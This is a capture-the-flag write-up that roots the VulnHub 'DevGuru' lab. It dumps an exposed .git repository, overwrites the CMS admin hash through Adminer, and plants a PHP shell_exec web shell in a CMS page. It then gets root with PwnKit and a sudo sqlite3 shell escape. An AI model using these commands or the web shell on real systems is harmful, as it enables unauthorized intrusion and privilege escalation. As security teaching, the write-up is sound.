Writeup · VulnHub · Boot2Root

DevGuru

A chain that pivots entirely on things left exposed — a world-readable .git directory, an Adminer console facing the internet, and an admin panel one password-swap away. The designed finish was a clever Gitea trick; this hardened build shut that door, so it ended on a kernel-era classic instead.

target 192.168.110.4 os Ubuntu 18.04 kernel 4.15.0-124 difficulty Medium result root
// 00

Executive summary

DevGuru runs an October CMS site on :80, a Gitea instance on :8585, and SSH on :22. Every step of the foothold is an exposure the developers never meant to ship. The path:

root@pen-test-lab:~ — kill-chain
# 1 recon → :80 October CMS · :8585 Gitea · :22 SSH # 2 exposed .git → git-dumper → full source + DB creds # 3 adminer.php → MySQL → overwrite backend admin hash # 4 october be → CMS page w/ PHP → RCE as www-data # 5 privesc → intended Gitea path blocked → PwnKit (CVE-2021-4034) → root

Two lessons: exposure compounds — a leaked .git plus an exposed DB console is already game over before any real "exploit" — and a hardened box reshapes the route, forcing the fallback when the designed path is closed.


PHASE 01 · reconnaissance

Three services, one real door

nmap -Pn -sV -p22,80,8585 192.168.110.4
# 22/tcp   OpenSSH 7.6p1 (Ubuntu 18.04)
# 80/tcp   Apache 2.4.29 — October CMS ("Corp - DevGuru")
# 8585/tcp Gitea (Golang net/http)

The Gitea instance on :8585 is a strong hint that source code — and the credentials baked into it — are somewhere within reach. Port 80 is the October CMS front end and the starting point.

PHASE 02 · the exposed repo

A browsable .git directory

The webroot serves its own .git folder — the single most valuable misconfiguration on the box:

curl -s http://192.168.110.4/.git/config
# [remote "origin"]
#   url = http://devguru.local:8585/frank/devguru-website.git   ← user: frank

Dump the whole repository and check it out locally:

git-dumper http://192.168.110.4/.git /tmp/devguru_src

The recovered source hands over the database credentials in plaintext and confirms a second gift sitting in the webroot:

# config/database.php
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
# and in the repo root: adminer.php  (a full web DB console, exposed)
Why it works. A .git directory under the webroot leaks the entire codebase, its history, and every secret ever committed. It is a two-command path from a public URL to the application's database password.
PHASE 03 · database takeover

Adminer → swap the admin hash

MySQL is bound to localhost, but adminer.php is exposed and runs on the server — so it reaches the DB for us. Logging in with the leaked october creds, the backend_users table holds the October admin:

login     | frank
password  | $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZK...  # bcrypt

Rather than crack it, overwrite it with a bcrypt hash of a password we control:

htpasswd -bnBC 10 "" 'Pentest123!'   # -> $2y$10$...
# UPDATE backend_users SET password='$2y$10$...' WHERE login='frank';
Now we own the backend login — frank / Pentest123! at /backend.
PHASE 04 · remote code execution

October CMS page → shell

October CMS pages carry a PHP code section that runs server-side. Logged into the backend, create a page in the active demo theme — URL /devrce — with this in its PHP/code pane:

function onStart() {
    if (isset($_GET['cmd'])) {
        echo '<pre>'.shell_exec($_GET['cmd']).'</pre>';
    }
}

Visiting the page executes commands as the web user:

curl 'http://192.168.110.4/devrce?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Gotcha. The page must live in the active theme (demo) — October only serves the active theme, so a page saved into the inactive business theme returns 404 no matter what its URL says.
PHASE 05 · privilege escalation

The intended path — and the one that worked

Enumerating as www-data, the designed route is clearly visible: Gitea runs as the user frank.

ps aux | grep gitea
# frank ... /usr/local/bin/gitea web --config /etc/gitea/app.ini

The intended chain is elegant: read Gitea's DB credentials from app.ini, use Adminer to reset frank's Gitea password, log into Gitea as an admin, and add a server-side git hook — which executes as the Gitea process user, frank. From a frank shell, sudo -l reveals the finisher:

# (intended) as frank:
sudo -l            # (root) NOPASSWD: /usr/bin/sqlite3
sudo sqlite3 /dev/null '.shell /bin/sh'   # GTFOBins → root

But this deployment was hardened. /etc/gitea/ is locked to www-data, so the Gitea DB credentials were unreadable — and the october MySQL user has no grants on the gitea database, so there was no second way in to reset frank's hash. The designed door was simply closed:

Route to frankResult
Read /etc/gitea/app.inipermission denied
october MySQL user → gitea DBno grants
Guess gitea DB passwordno hit
Crack frank's old bcrypt (CPU)too slow / not in rockyou
SUID pkexec → PwnKitroot

With the intended pivot sealed off, the environment itself offered the exit: a SUID pkexec on an Ubuntu 18.04 host is textbook PwnKit (CVE-2021-4034). There's no compiler on the target, so a self-contained prebuilt PwnKit was staged in and run:

# no gcc on target — serve a prebuilt binary from the attacker box,
# then run it, telling root to SUID bash for a stable non-interactive root path
echo 'chmod u+s /bin/bash' | ./pk
/bin/bash -p -c 'id'
# uid=33(www-data) ... euid=0(root)
Why it works. Pre-patch pkexec mishandles an empty argument vector, letting an attacker-controlled GCONV_PATH load a malicious library as root. Any unpatched SUID pkexec is an instant local root.
For the record. PwnKit (2022) postdates DevGuru (2020) — it's the unintended shortcut. The designed route was the Gitea git-hook-as-frank trick, which this configuration's tightened permissions shut off. Worth noting both in any report: the box can be rooted the intended way on a stock deploy, but hardening one file forced the fallback.
// remediation

What the defender should fix

// toolkit

Tools used

nmapgit-dumperadminer october cmsPwnKit (CVE-2021-4034)no metasploit
root@pen-test-lab:~ — full chain
nmap → :80 October · :8585 Gitea · :22 └─ exposed /.git → git-dumper → octoberdb creds + adminer.php └─ adminer → overwrite backend_users hash (frank) └─ October backend → CMS page PHP → shell as www-data └─ enumerate (gitea path locked: app.ini unreadable, no DB grants) └─ SUID pkexec → PwnKit (CVE-2021-4034) → root
← all writeups

Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.